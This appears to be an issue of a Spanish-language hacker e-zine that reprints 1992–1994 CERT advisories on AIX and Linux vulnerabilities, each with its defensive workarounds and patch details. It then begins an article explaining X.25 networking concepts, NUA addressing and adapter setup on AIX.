your representative in FIRST (Forum of Incident Response and Security Teams). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. Computer Emergency Response Team/Coordination Center (CERT/CC) Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous ftp from cert.org (192.88.209.5). =========================================================================== CA-92:06 CERT Advisory March 19, 1992 AIX uucp Vulnerability --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability with the UUCP software in versions of AIX up to 2007. The vulnerability does not exist in AIX 3.2. IBM is aware of this problem, and a fix is available as apar number "ix18516". This patch is available for all AIX releases from GOLD to 2006. The fix is in the 2007 update and 3.2 release of AIX. IBM customers may call IBM Support (800-237-5511) and ask that the fix be shipped to them. Patches may be obtained outside the U.S. by contacting your local IBM representative. --------------------------------------------------------------------------- I. Description Previous versions, except AIX 3.2, of the UUCP software contained incorrectly configured versions of various files. II. Impact Local users can execute unauthorized commands and gain unauthorized root access. III. Solution - If allowing users access to the uucp isn't necessary, disable it. % chmod 0100 /usr/bin/uucp - Obtain the fix from IBM Support. - Install the fix following the instructions in the README file. --------------------------------------------------------------------------- The CERT/CC would like to thank Steve Knodle, Clarkson University, for bringing this security vulnerability to our attention. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact CERT/CC or your representative in FIRST (Forum of Incident Response and Security Teams). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. Computer Emergency Response Team/Coordination Center (CERT/CC) Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous ftp from cert.org (192.88.209.5). =========================================================================== CA-92:07 CERT Advisory March 31, 1992 AIX /bin/passwd Vulnerability --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability with the passwd command in AIX 3.2 and the 2007 update of AIX 3.1. IBM is aware of this problem, and a fix is available as apar number "ix23505". Patches are available for AIX 3.2 and the 2007 update of AIX 3.1. This fix may be ordered from Level 2 support or by anonymous ftp from software.watson.ibm.com (129.34.139.5) on the Internet. 1. To order from IBM call 1-800-237-5511 and ask that the fix be shipped. Patches may be obtained outside the U.S. by contacting your local IBM representative. 2. If you are on the Internet, use anonymous ftp to obtain the fix from software.watson.ibm.com. Patch Filename Checksum AIX 3.2 pub/aix3/pas.32.tar.Z 54431 2262 AIX 3.1 2007 pub/aix3/pas.31.tar.Z 06703 99 Patches should be retrieved using binary mode. IBM is currently incorporating the fix into the 3.2 version and 3.1 updates of AIX. Future shipments of these products should not be vulnerable to this problem. If you have any questions about products you receive, please contact your IBM representative. --------------------------------------------------------------------------- I. Description The passwd command contains a security vulnerability. II. Impact Local users can gain unauthorized root access. III. Solution A. As root, disable /bin/passwd until you obtain and install the patch. # chmod 0500 /bin/passwd B. Obtain the fix from IBM and install according to the directions provided with the patch. --------------------------------------------------------------------------- The CERT/CC would like to thank Paul Selick of the University of Toronto for bringing this security vulnerability to our attention. We would also like to thank IBM for their quick response to this problem, and for making the patches available via anonymous ftp. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact CERT/CC or your representative in FIRST (Forum of Incident Response and Security Teams). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. Computer Emergency Response Team/Coordination Center (CERT/CC) Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous ftp from cert.org (192.88.209.5). =========================================================================== CA-92:09 CERT Advisory April 27, 1992 AIX Anonymous FTP Vulnerability --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability in the anonymous FTP configuration in all versions of AIX. IBM is aware of this problem and a fix is available as apar number "ix23944". This patch is available for all AIX releases from "GOLD". IBM customers may call IBM Support (800-237-5511) and ask that the fix be shipped to them. Patches may be obtained outside the U.S. by contacting your local IBM representative. The fix will appear in the upcoming 2009 update and the next release of AIX. --------------------------------------------------------------------------- I. Description Previous versions of the anonymous FTP installation script, /usr/lpp/tcpip/samples/anon.ftp, incorrectly configured various files and directories. II. Impact Remote users can execute unauthorized commands and gain access to the system if anonymous FTP has been installed. III. Solution A. Obtain the fix from IBM Support. The fix contains three files: a "readme" file (README.a23944), the fix installation script (install.a23944), and an archive containing the updated files (PATCH.a23944.Z). B. Install the fix following the instructions in the README file. --------------------------------------------------------------------------- The CERT/CC would like to thank Charles McGuire of the Computer Science Department, the University of Montana for bringing this security vulnerability to our attention and IBM for their response to the problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact CERT/CC or your representative in FIRST (Forum of Incident Response and Security Teams). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. Computer Emergency Response Team/Coordination Center (CERT/CC) Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous ftp from cert.org (192.88.209.5). =========================================================================== CA-92:10 CERT Advisory May 26, 1992 AIX crontab Vulnerability --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability in crontab(1) in version 3.2 of IBM's AIX operating system. IBM is aware of this problem and a fix is available as apar number "ix26997" for AIX version 3.2. The version information for the patched /usr/bin/crontab is shown in the following what(1) output: % what /usr/bin/crontab 04 1.23 com/cmd/cntl/cron/crontab.c, cmdcntl, bos320, 9218320f 4/8/92 11:50:42 07 1.8 com/cmd/cntl/cron/permit.c, bos, bos320 4/25/91 17:16:59 11 1.15 com/cmd/cntl/cron/cronsub.c, bos, bos320 8/18/91 20:42:32 06 1.9 com/cmd/cntl/cron/funcs.c, bos, bos320 6/8/91 21:22:40 If your crontab contains older modules than the above output indicates, we suggest that you install the fix. --------------------------------------------------------------------------- I. Description The distributed version of /usr/bin/crontab contains a security vulnerability. II. Impact Local users can gain unauthorized root access to the system. III. Solution The CERT/CC suggests that sites install the fix that IBM has made available. As an interim step, we suggests that sites prevent all non-root users from running /usr/bin/crontab by removing (or renaming) the /var/adm/cron/cron.allow and /var/adm/cron/cron.deny files. - Obtain the fix from IBM Support. 1. To order from IBM call 1-800-237-5511 and ask that the fix be shipped. Patches may be obtained outside the U.S. by contacting your local IBM representative. 2. If you are on the Internet, use anonymous ftp to obtain the fix from software.watson.ibm.com (129.34.139.5). Patch Filename Checksum AIX 3.2 pub/aix3/cronta.tar.Z 02324 154 The patch must be retrieved using binary mode. - Install the fix following the instructions in the README file. --------------------------------------------------------------------------- The CERT/CC would like to thank Fuat Baran of Advanced Network & Services, Inc. for bringing this security vulnerability to our attention and IBM for their quick response to this problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact CERT/CC or your representative in FIRST (Forum of Incident Response and Security Teams). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. Computer Emergency Response Team/Coordination Center (CERT/CC) Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous ftp from cert.org (192.88.209.5). =========================================================================== CA-94:03 CERT Advisory February 24, 1994 IBM AIX Performance Tools Vulnerabilities --------------------------------------------------------------------------- The CERT Coordination Center has received information concerning vulnerabilities in the "bosext1.extcmds.obj" Licensed Program Product (performance tools). These problems exist on IBM AIX 3.2.4 systems that have Program Temporary Fixes (PTFs) U420020 or U422510 installed and on all AIX 3.2.5 systems. CERT recommends that affected sites apply the workaround provided in section III below. I. Description Vulnerabilities exist in the bosext1.extcmds.obj performance tools in AIX 3.2.5 and in those AIX 3.2.4 systems with Program Temporary Fixes (PTFs) U420020 or U422510 installed. These problems do not exist in earlier versions of AIX. II. Impact Local users can gain unauthorized root access to the system. III. Workaround A. The recommended workaround is to change the permissions of all the programs in the /usr/lpp/bosperf directory structure so that the setuid bit is removed and the programs can be executed only by 'root'. This can be accomplished as follows: % su root # chmod -R u-s,og= /usr/lpp/bosperf/* The programs affected by this workaround include: filemon, fileplace, genkex, genkld, genld, lvedit, netpmon, rmap, rmss, stripnm, svmon, tprof As a result of this workaround, these programs will no longer be executable by users other than 'root'. B. Patches for these problems can be ordered as Authorized Program Analysis Report (APAR) IX42332. To order an APAR from IBM call 1-800-237-5511 and ask for shipment as soon as it is available. APARs may be obtained outside the U.S. by contacting your local IBM representative. Any further information that we receive on APAR IX42332 will be available by anonymous FTP in the file pub/cert_advisories/CA-94:03.README on info.cert.org. --------------------------------------------------------------------------- The CERT Coordination Center wishes to thank Jill K. Bowyer of USAF/DISA for reporting this problem and IBM for their prompt response to this problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in Forum of Incident Response and Security Teams (FIRST). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous FTP on info.cert.org. -----BEGIN PGP MESSAGE----- Version: 2.3a iQCVAgUBLZtIynVP+x0t4w7BAQH52QP+IRoSO8ZKA/AbiYJBO1HThzhAAG3R0AXS dfq8a506AIUCWpRFIRBm+T0WzMcGe9FwQkL+imhqcgpZ2yvfIBRcOzvwx3Q9W4Sq fp+Tenfi0DacM2VLUgrrmg0EKciRWOVjQM2LYs+9WLdYb+RzFpj9NQpp184EBN95 cnZlusJEK9o= =Z8gJ -----END PGP MESSAGE----- ============================================================================= CA-94:09 CERT Advisory May 23, 1994 /bin/login Vulnerability ----------------------------------------------------------------------------- The CERT Coordination Center has learned of a vulnerability in /bin/login. This vulnerability potentially affects all IBM AIX 3 systems and Linux systems. At this time, we believe that only IBM AIX 3 and Linux systems are at risk. Included with this advisory is an appendix containing the CA-94:09.README, which lists the vendors who have responded to our inquiries, and the status of their investigation into this vulnerability report. As we receive additional information relating to this advisory, we will place it, along with any clarifications, in the README file, available via anonymous FTP from info.cert.org. We encourage you to check the README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description of IBM AIX vulnerability A vulnerability exists in /bin/login on all IBM AIX 3 systems. II. Impact of IBM AIX vulnerability Remote users can obtain unauthorized root access on the affected hosts. III. Solution for IBM AIX vulnerability IBM is working on an official fix, which is still under development. The reference number for this fix is APAR IX44254. Until you obtain the official fix from IBM, we encourage you to apply the workaround or install the emergency fix below. A. Workaround The recommended workaround is to disable the rlogin daemon: 1. As root, edit /etc/inetd.conf Comment out the line 'login ... rlogin' 2. Run 'inetimp' 3. Run 'refresh -s inetd' B. Emergency fix The emergency fix for the different levels of AIX 3 affected by this vulnerability is available via anonymous FTP from software.watson.ibm.com:/pub/rlogin/rlogin.tar.Z. Installation instructions are included in the README file (which is included in rlogin.tar.Z). Checksum information for rlogin.tar.Z: BSD: 25285 317 SystemV: 13021 633 rlogin.tar.Z MD5: MD5 (rlogin.tar.Z) = 803ee38c2e3b8c8c575e2ff5e921034c C. Official fix The official fix for this problem can be ordered as APAR IX44254. To order an APAR from IBM in the U.S., call 1-800-237-5511 and ask IBM to ship it as soon as it is available. According to IBM, this fix will be available in approximately two weeks. APARs may be obtained outside the U.S. by contacting your local IBM representative. IV. Description of Linux vulnerability A vulnerability exists in /bin/login for Linux systems. V. Impact of Linux vulnerability Any user, remote or local, can obtain unauthorized root access on the affected hosts. VI. Solution for Linux vulnerability A patch that addresses the remote access problem has been made available via anonymous FTP from sunsite.unc.edu: /pub/Linux/system/Network/sunacm/URGENT/README.security /pub/Linux/system/Network/sunacm/URGENT/security.tgz The "security.tgz" file includes other security fixes in addition to the /bin/login patch. Checksum information for README.security: BSD: 09575 1 SystemV: 20945 1 README.security MD5: MD5 (README.security) = 41d14d7b8725c7a1015adeb49601619b Checksum information for security.tgz: BSD: 32878 257 SystemV: 40797 513 security.tgz MD5: MD5 (security.tgz) = dd4585cf4da1b52d25d619bf45f55b75 To address the local access problem, we encourage you to install a version of /bin/login that does not allow the -f option in the form "-f<user>", but only allows this option in the form "-f <user>", as two arguments. At this time, we do not know which versions of login.c are vulnerable. As we receive additional information, we will update the CA-94:09.README file. Again, we encourage you to check this README file regularly for updates. --------------------------------------------------------------------------- The CERT Coordination Center wishes to thank Axel Clauberg of University of Cologne for reporting the IBM AIX problem, and IBM for their assistance in responding to this problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT via electronic mail, CERT strongly advises that the e-mail be encrypted. CERT can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT for details). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA Past advisories and their associated README files, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. ============================================================================= CA-94:10 CERT Advisory June 3, 1994 IBM AIX bsh Vulnerability ----------------------------------------------------------------------------- The CERT Coordination Center has learned of a vulnerability in the batch queue (bsh) of IBM AIX systems running versions prior to and including AIX 3.2. CERT recommends disabling the batch queue by following the workaround instructions in Section III below. Section III also includes information on how to obtain fixes from IBM if the bsh queue functionality is required by remote systems. As we receive additional information relating to this advisory, we will place it, along with any clarifications, in a CA-94:10.README file. CERT advisories and their associated README files are available by anonymous FTP from info.cert.org. We encourage you to check the README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description The queueing system on IBM AIX includes a batch queue, "bsh", which is turned on by default in /etc/qconfig on all versions of AIX 3 and earlier. II. Impact If network printing is enabled, remote and local users can gain access to a privileged account. III. Solution In the next release of AIX, the bsh queue will be turned off by default. CERT recommends that the bsh queue be turned off using the workaround described in Section A below unless there is an explicit need to support this functionality for remote hosts. If this functionality must be supported, IBM provides fixes as outlined in Sections B and C below. For questions concerning these workarounds or fixes, please contact IBM at the number provided below. A. Workaround Disable the bsh queue by following one of the two procedures outlined below: 1. As root, from the command line, enter: # chque -qbsh -a"up = FALSE" 2. From SMIT, enter: - Spooler - Manage Local Printer Subsystem - Change/Show Characteristics of a Queue select bsh - Activate the Queue select no B. Emergency fix Obtain and install the emergency fix for the version(s) of AIX used at your site. Fixes for the various levels of AIX are available by anonymous FTP from software.watson.ibm.com. The files are located in /pub/aix/bshfix.tar.Z in compressed tar format. Installation instructions are included in the README file included as part of the tar file. The directory /pub/aix contains the latest available emergency fix for APAR IX44381. As updates become available, any new versions will be placed in this directory with the name bshfix<#>.tar.Z with <#> being incremented for each update. See the README.FIRST file in that directory for details. IBM may remove this emergency fix file without prior notice if flaws are reported. Due to the changing nature of these files, no checksum information is available. C. Official fix The official fix for this problem can be ordered as APAR IX44381. To order APARs from IBM in the U.S., call 1-800-237-5511 and ask that it be shipped to you as soon as it is available. To obtain APARs outside of the U.S., contact your local IBM representative. --------------------------------------------------------------------------- The CERT Coordination Center wishes to thank Gordon C. Galligher of Information Resources, Inc. for reporting this problem and IBM Corporation for their support in responding to this problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT via electronic mail, CERT strongly advises that the e-mail be encrypted. CERT can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT for details). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA Past advisories and their associated README files, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUALe9nCnVP+x0t4w7BAQFHuQQAiYyA+RpN5tYAXnWe/PVaHcSXE0Y4J1vI zi6E+2vY8PYMEpfVquHbhIrJgC4KU+vfy9HGTcj54AK7eaye0kBmuou5WBJ3rHKd OUYf9APmQUuxFEzCOcA61u3cVb5vgaL+N63L6/pfOFC3Mxg1Gps5J4ETHzuein27 r2BArT7WSok= =ejt4 -----END PGP MESSAGE----- =============================================================================== que mamotreto hijoputa! (lbd) 2. Comunicaciones en AIX ------------------------ by Saltamontes Este articulo da un rapido (y a veces no tanto) pantallazo de algunos de los aspectos mas importantes de las comunicaciones en AIX. El articulo esta dividido en 4 secciones: X.25, TCP/IP, SNA, Ethernet. En esta primera entrega solo hablaremos de X.25, por un motivo de paja y espacio... Si bien se podria juntar algunas secciones en una (como TCP/IP y X.25 o TCP/IP y Ethernet), preferi separar estos temas independientemente de estar hablando de un mismo nivel. X.25 ==== Introduccion -^-^-^-^-^-^ Para comprender esta parte del articulo, es necesario tener cierto conocimiento acerca de las recomendaciones X.25 de CCITT, las cuales definen un protocolo estandar para las Packet-Switched Data Networks (PSDN). Por lo tanto, hare un breve resumen de los conceptos basicos de X.25 y su historia. [Para mas informacion acerca de X.25/X.28/X.29 y X.* ver 0x01030003 (HBOMAG volumen #1, nro #3, file 0003)] Una PSDN es un grupo de nodos conmutadores inteligentes (intelligent switching nodes) que permite a los subscriptores intercambiar datos usando un protocolo estandar y tecnologia de conmutado de paquetes. Esta red lleva los mensajes divididos en partes (paquetes) sobre circuitos que son compartidos simultaneamente por muchos usuarios de la red (virtual circuits). Una unica linea fisica puede manter varias conexiones concurrentes. Cada paquete esta compuesto por una secuencia de datos e informacion de control dispuestos en un formato especial y transmitido manteniendo su integridad; generalmente el tama#o es de 128 bytes, aunque esto puede variar entre 16 y 4096 bytes. En 1976, un protocolo para conectar equipos privados a una PSDN fue definido por la CCITT en "CCITT Recommendation X.25" (comunmente llamado el libro naranja). Cada cuatro a#os la CCITT tiene sesiones, y tras cada una de estas se emite una nueva version de las recomendaciones. Hoy dia, la mayoria de las PSDN's soportan CCITT 1980, y algunas tambien las recomendaciones de 1984. La International Organization for Standardization (ISO) tambien publico las recomendaciones X.25 como ISO 8208 y ISO 7776. Son varias las ventajas de X.25, asi como tambien sus desventajas. Para ver esto resumo algunas de caracteristicas principales a continuacion: . Estandar Internacional: Las recomendaciones X.25 son un estandar para WANs (Wide Area Networks) y forman la base para los protocolos OSI (Open Systems Interconnection) de la ISO. . Red Internacional: Los usuarios pueden comunicarse con otras redes publicas X.25 alrededor del mundo, desde su red orginal. . Alto nivel de integridad de datos: Debido a la tecnologia reinante en la epoca de su desarrollo, X.25 fue disenado de modo tal que el chequeo de error se hace en cada nodo de la red, dando esto como resultado una alta confiabilidad en cuanto a la integridad de los datos transmitidos asi como tambien un delay de puta madre. . Seguridad: X.25 ofrece ciertas opciones de seguridad que pueden considerarse bastante efectivas. Por ejemplo, la posibilidad de bloquear llamadas entrantes de determinados lugares asi como tambien el bloqueo de llamadas salientes, Closed User Groups, etc. . Multiples conexiones atraves de una unica linea fisica: Los usuarios tienen la posibilidad de 'multiplexar' varias conexiones simultaneamente sobre una unica linea fisica. Por ejemplo AIX V3 soporta hasta 64 conexiones concurrentes por adapter. DTE, DCE y DSE son terminos que en X.25 son usados como conceptos funcionales. Comunumente nos encontramos con estos mismos terminos en 'el largo y ancho mundo de los modems' pero con una leve diferencia en el significado lo que puede causarnos una pequena confusion. En este articulo vamos a usar la terminologia definida por CCITT X.25: * A switching node in a packet-switched data network is called DATA-SWITCHING EQUIPMENT (DSE). * A computer that uses the network for communications is called DATA-TERMINAL EQUIPMENT (DTE). * A device at the point of access to the network is called DATA CIRCUIT terminating EQUIPMENT (DCE). Nota: Cada DTE debe tener asociado un DCE. Ejemplo de una red X.25: --------------- | IBM 4300 | | DTE | --------------- ------------- \\ (( | MICRO VAX | \\ (()( ((((( _)))( //| DTE | \\ (---- ((()) ))(( // ------------- ( DCE | ----- ))// (( ----- ----- | DCE ))-- (( | DSE | ------((( (( ----- ) (( ----- ((( --------------- (( | DCE ))))) | IBM RS/6000 | (((( (( )))\\=======| DTE | (())(( (()))))) \\ --------------- X.25 DATA NETWORK )))) ----------------------- [PSDN] | SUN SPARCStation 10 | | DTE | ----------------------- El protocolo X.25 se divide en 3 niveles: . Physical level . Link level . Packet level - Physical level: Este nivel esta definido en CCITT Recommendation X.21 y en CCITT Recommendation X.21bis, este define la conexion de un DTE con un DCE por medio de una interfase V.24 o V.35, como el que usa la interfase X.25 de IBM Co-Processor/2. - Link Level: El link level usa procedimientos que aseguran la correcta transmision y control de informacion entre un DTE y un DCE. - Packet Level: El packet level protocol especifica como los circuitos virtuales entre DTEs son establecidos, mantenidos y limpiados. Este nivel define como un unico canal fisico puede ser tratado como un set de multiples canales logicos, cada uno proveyendo un circuito virtual. Tambien se define aca el formato de los data packets y de los control packets, los cuales se usan para establecer y mantener un circuito virtual entre dos DTE's en una PSDN. ++ Network User Address (NUA) : Para asegurar la unicidad en el direccionamiento de los DTE alrededor del mundo, X.121 define un formato internacional de direcciones X.25. Cada DTE conectado a una red X.25 es identificado por un numero llamado 'network user address (NUA)' o para los que prefieran 'identificacion usuario de red (IUR)'. La mayoria de las redes X.25 publicas usan el esquema X.121 para crear NUAs. Es obvio que las redes privadas, las cuales no tienen intencion alguna de conectarse con otras redes X.25, usan su propia esquema de asignacion de direcciones...aunque algunos lo hacen de este modo por una cuestion de boludez intrinseca. Este es el modo en el que se construye una direccion bajo el esquema X.121: (*) Data Network Identification Code (DNIC). Los DNICs son de 4 digitos y estan armados de la siguiente manera: - Data Country Codes (DCC) + Primer digito. Identifica una zona geografica en el mundo. + Dos digitos siguientes. Identifican a un pais especifico. + Cuarto y ultimo digito. Senala la Public Data Network. (Debido a la limitacion de especificar solo 10 PDNs para un unico pais, los EEUU obtuvieron un permiso especial para usar un digito como DCC y dos para denotar la PDN.) (*) National Terminal Number(NTN). Siguiendo al DNIC hay 10 digitos asignados por la PDN. No hay restricciones en cuanto al orden de estos digitos, pero usualmente se dejan los dos ultimos numeros para especificar una subaddress, eso permite al subscriptor manipular estos dos digitos para provecho de sus propias aplicaciones, entonces esta subaddress no es procesada por la PDN. Ej: ---------------------------------------- 1234 56789012 34 DNIC NTN Optional Subaddress ---------------------------------------- X.121 tambien define un prefijo opcional para las llamadas internacionales: si el llamado es fuera de los limites de la PDN entonces un 0 o un 1 es agregado al comienzo de la NUA. De lo contrario no se agrega nada. De la misma manera dentro de un mismo PDN no es necesario especificar el DNIC. El tamano maximo para una nua es de 15 digitos. ++ Canales Logicos y Circuitos Virtuales: Cada adaptador X.25 de AIX provee una unica conexion fisica a la red. Cada conexion fisica, a su vez, soporta multiples conexiones logicas concurrentes con otros DTEs en la red; estas conexiones se denominan circuitos virtuales. El numero de conexiones concurrentes posibles depende del numero de canales logicos que el provedor de red define, junto con las capacidades del software y hardware del DTE. Los numeros de canales validos son entre 1 y 4095, el 0 se reserva para diagnosticos. En un circuito virtual; el numero de canal del DTE debe de ser igual al de su DCE asociado, pero no es necesario que este sea igual al del otro DTE. Un canal logico no es end-to-end en una red. Este solo debe coincidir en cada par DTE/DCE. Cuando una aplicacion inicia una conversacion con otro DTE en la red, se crea un circuito virtual desde un DTE hasta otro atraves de los DCEs en la red. Este circuito virtual existe unicamente a lo largo de esta unica llamada. Cuando la conversacion termina, el circuito virtual se cierra. Entonces el canal logico es liberado para que lo pueda utilizar cualquier otra aplicacion. En AIX, una vez que el circuito virtual se establece entre dos maquinas que corren TCP/IP o SNA, todo el trafico entre estas va ir por ese unico circuito virtual. Esta multiplexacion de trafico ayuda a reducir costos bajando el numero de canales logicos requeridos (gghhhuuaaaauuu!!!). Existen varios tipos de VC (circuitos virtuales), pero basicamente los podemos resumir en dos: PVCs (Permanent Virtual Circuits) y SVCs (Switched Virtual Circuits). Un PVC es como una linea dedicada, una linea continuamente conectada a un DTE fijo. SVC es un circuito virtual que existe unicamente a lo largo de una llamada. Hay tres tipos de canales logicos para SVCs: - Entrantes - Salientes - Bidireccionales OJO!, estos tipos de canales son solo usados para COMENZAR la comunicacion, una vez que el circuito se establece es siempre una comunicacion bidireccional. Obviamente este tipo de canales logicos se utilizan para manejar la seguridad del DTE basicamente. Esta es la jerarquia numerica de los tipos de canales logicos: * Los PVCs deben tener los numeros mas bajos. * Luego vienen los SVCs entrantes. * Despues los SVCs bidireccionales. * Y por ultimo los SVCs salientes. ++ Tipos de paquetes X.25: Existen diferentes tipos de paquete para efectuar diversas tareas tales como hacer una llamada, aceptar una llamada, transferir datos y terminar una llamada. El software X.25 hace todo el trabajo con respecto a la creacion de paquetes. Los paquetes son agrupados en las siguientes categorias: * Call establishing and clearing - Call Request packet - Incoming Call packet - Call Accepted packet - Call Connected packet - Clear Indication packet - Clear Request packet - Clear Confirmation packet * Data and interrupt - Data packet - Interrupt packet - Interrupt Confirmation packet * Flow control and reset - Reset Request packet - Reset Inidication packet - Reset Comfirmation packet - Receive Ready packet - Receive not Ready packet * Restart - Restart Request packet - Restart Inidication packet - Restart Confirmation packet - Diagnostics packet X.25 y AIX -^-^-^-^-^ El device driver del adapter X.25 requiere por parte de la red una transmicion full duplex sincronica, una conexion a la PSDN de linea dedicada y una senal de clock (ya sea de un modem o de la misma red). AIX soporta CCITT 1980 y 1984, adicionalmente el AIX V3.2 soporta el modulo 128. Para conectar una RS/6000 a una red X.25 se necesita lo siguiente (segun IBM): * Interface IBM X.25 Co-Processor/2 * RCM (Realtime Control Microcode) * Microcodigo de diagnostico * Adapter Code * X.25 device driver * Comandos X.25 (**) * API (Application Programming Interface) ++ Interfase IBM X.25 Co-Processor/2: El dise#o del adaptador X.25 conforma el estandar ISO 8208, el cual es compatible con CCITT 1980 y CCITT 1984. El adaptador provee un port single el cual se acomoda a tres interfaces seleccionables: X.21, EIA-232D/V.24 y V.35. El port tiene un conector hembra D-shell de 37 pines. Estas son las caracteristicas principales de la interface X.25 Co-Processor/2: - Microprocesador 80186 con 512Kb. - Full-duplex, protocolo sincronico o asincronico. - Consideraciones del Micro Channel: -> I/O slave. -> Ancho del bus de datos: 16 bits. -> Ancho del bus de direcciones: 24 bits. ++ RCM: Este es el OS del adapter. ++ Microcodigo de diagnostico: Si este falta los testeos estandares fallan. ++ Adapter Code: El adapter code se ocupa de controlar el link level y el packet level. en AIX V3.1.5 es /etc/asw/x25a.exe y en AIX V3.2 es /usr/lib/asw/x25a.exe. ++ Comandos X.25: Estos son los comandos X.25 que vienen con todas las versiones de AIX: [COMANDOS DE USOS VARIOS] - xcomms <-- Interfaz usuario tipo menu para elejir cualquiera de los comandos aqui detallados. - xmanage <-- 1. Muestra el status de un port X.25. 2. Conecta y desconecta un port X.25. 3. Obtiene estadisticas de un port X.25. - xroute <-- Maneja la lista de ruteo para llamadas entrantes. - xtalk <-- Comunica con otros DTEs. Maneja las listas de direcciones de llamadas salientes. - xmonitor <-- Monitorea la actividad de un port X.25 a frame level o packet level. [COMANDOS DE SETUP Y MANEJO] - chx25 <-- Se utiliza para la inicializacion del adapter. - chdev <-- Permite modificar los atributos del adapter. (+) - lsattr <-- Muestra los atributos del adapter. (+) [COMANDOS RELATIVOS AL MANEJO DE RED DE ALTO NIVEL] - x25xlate <-- Maneja la tabla de direcciones IP <-> NUAs. (+) Estos comandos no son propios del manejo X.25; son comandos para la administracion y configuracion de devices. Como el adapter es otro device estos comandos deben utilizarse para su debida configuracion. Para mas informacion en este tema esperar a mi proximo articulo de ODM y devices (AIX obviamente) que planeo escribir en un futuro cercano. Instalacion y Setup de una placa X.25 -^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^- No tengo intencion de detenerme mucho en esta seccion, simplemente voy a dar un idea de la instalacion de una placa X.25 en un equipo que corra AIX, sin ampliar ningun topico relativo. Despues de poner la placa en cualquiera de los slots Micro Channel disponibles en la maquina, se puede proceder a configurarla. Uno puede optar por usar el 'smit' (), usar los camandos de manejo de devices o bien tocar a mano las bases de datos con el 'odme'. Cualquiera sea el modo de trabajo elejido, lo siguiente es lo que se debe de hacer: 1. Verificar la correcta instalacion de la placa. 2. Cargar el microcodigo. 3. Rebootear el sistema o reconfigurarlo para cargar el device driver del adapter, cambiando el status de 'defined' a 'available'. 4. Testear la correcta conexion de todo (con el smit se hace rapido). 5. Customizar las variables del sistema (NUA, tabla x25xlate, etc.) Listo! Esta es una lista de los principales archivos relacionados con X.25 en AIX. -- dev ---- x25s0 | |-- ... | |-- x25s3 | |-- etc ---- asw --- x25a.exe | | | |-- microcode ---- icaaim.com / -- | |-- f0efd.00.01 | | | |-- drivers ---- x25dd | | |-- if_xt | | |-- QLLC.ext | | | |-- xrt.names --- diagnostics ---- da --- dx25 | | | | | |-- catalog --- En_US ---- dx25.cat | |- default -- dx25.cat | | |-- sbin ---- x25xlate | | |-- chx25 |--- sys---- x25user.h | | |-- xroute | |-- x25ddi.h | | | | |-- include ----------------- netiso -- cons_ifx25.h | | | | | |--- isode -- x25.h |-- usr -- |-- bin ----- xmanage 